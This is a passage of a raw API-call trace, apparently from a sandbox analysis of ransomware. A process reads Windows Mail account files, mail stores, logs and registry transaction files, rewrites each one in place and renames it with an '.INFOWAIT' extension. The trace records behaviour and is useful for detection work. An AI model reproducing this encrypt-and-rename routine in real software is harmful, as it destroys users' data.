lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms.INFOWAIT" [0143.303] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.tmcontainer00000000000000000002.regtrans-ms.infowait")) returned 1 [0143.305] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.307] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.308] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0143.308] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0143.309] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5e4 [0143.309] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0143.309] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.309] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x5e4, lpOverlapped=0x0) returned 1 [0143.485] VirtualAlloc (lpAddress=0x0, dwSize=0x5e4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0143.485] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.485] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x5e4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x5e4, lpOverlapped=0x0) returned 1 [0143.485] CloseHandle (hObject=0xad4) returned 1 [0143.485] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" [0143.485] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.INFOWAIT" [0143.485] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount.infowait")) returned 1 [0143.486] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.487] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.487] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0143.487] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0143.488] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2a0 [0143.488] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0143.488] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.488] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2a0, lpOverlapped=0x0) returned 1 [0143.569] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0143.569] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.569] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2a0, lpOverlapped=0x0) returned 1 [0143.569] CloseHandle (hObject=0xad4) returned 1 [0143.569] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" [0143.569] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.INFOWAIT" [0143.569] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount.infowait")) returned 1 [0143.570] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.571] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.571] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0143.571] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0143.571] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6c8 [0143.571] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0143.572] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.572] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x6c8, lpOverlapped=0x0) returned 1 [0143.690] VirtualAlloc (lpAddress=0x0, dwSize=0x6c8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0143.691] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.691] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x6c8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x6c8, lpOverlapped=0x0) returned 1 [0143.691] CloseHandle (hObject=0xad4) returned 1 [0143.691] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" [0143.691] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.INFOWAIT" [0143.691] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount.infowait")) returned 1 [0143.692] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.693] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.693] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0143.693] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0143.694] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x200000 [0143.694] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0143.694] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.694] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0143.878] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0143.887] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.887] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0143.888] CloseHandle (hObject=0xad4) returned 1 [0143.888] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" [0143.888] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.INFOWAIT" [0143.888] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log.infowait")) returned 1 [0143.889] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.890] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.890] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0143.890] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0143.891] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x206000 [0143.891] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0143.891] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.891] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0143.938] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0143.947] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.947] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0143.948] CloseHandle (hObject=0xad4) returned 1 [0143.948] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore" [0143.948] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore.INFOWAIT" [0143.948] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore.infowait")) returned 1 [0143.949] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.949] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.950] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0143.950] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0143.951] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4000 [0143.951] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0143.951] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.951] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4000, lpOverlapped=0x0) returned 1 [0144.128] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.129] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.129] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4000, lpOverlapped=0x0) returned 1 [0144.130] CloseHandle (hObject=0xad4) returned 1 [0144.131] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" [0144.131] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat.INFOWAIT" [0144.131] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat.infowait")) returned 1 [0144.131] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.132] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.132] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.133] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.133] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2000 [0144.133] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.133] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.133] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2000, lpOverlapped=0x0) returned 1 [0144.143] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.143] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.144] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2000, lpOverlapped=0x0) returned 1 [0144.144] CloseHandle (hObject=0xad4) returned 1 [0144.144] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" [0144.144] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk.INFOWAIT" [0144.144] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk.infowait")) returned 1 [0144.144] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.145] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.145] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.145] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.146] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x200000 [0144.146] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.146] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.146] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0144.159] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0144.171] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 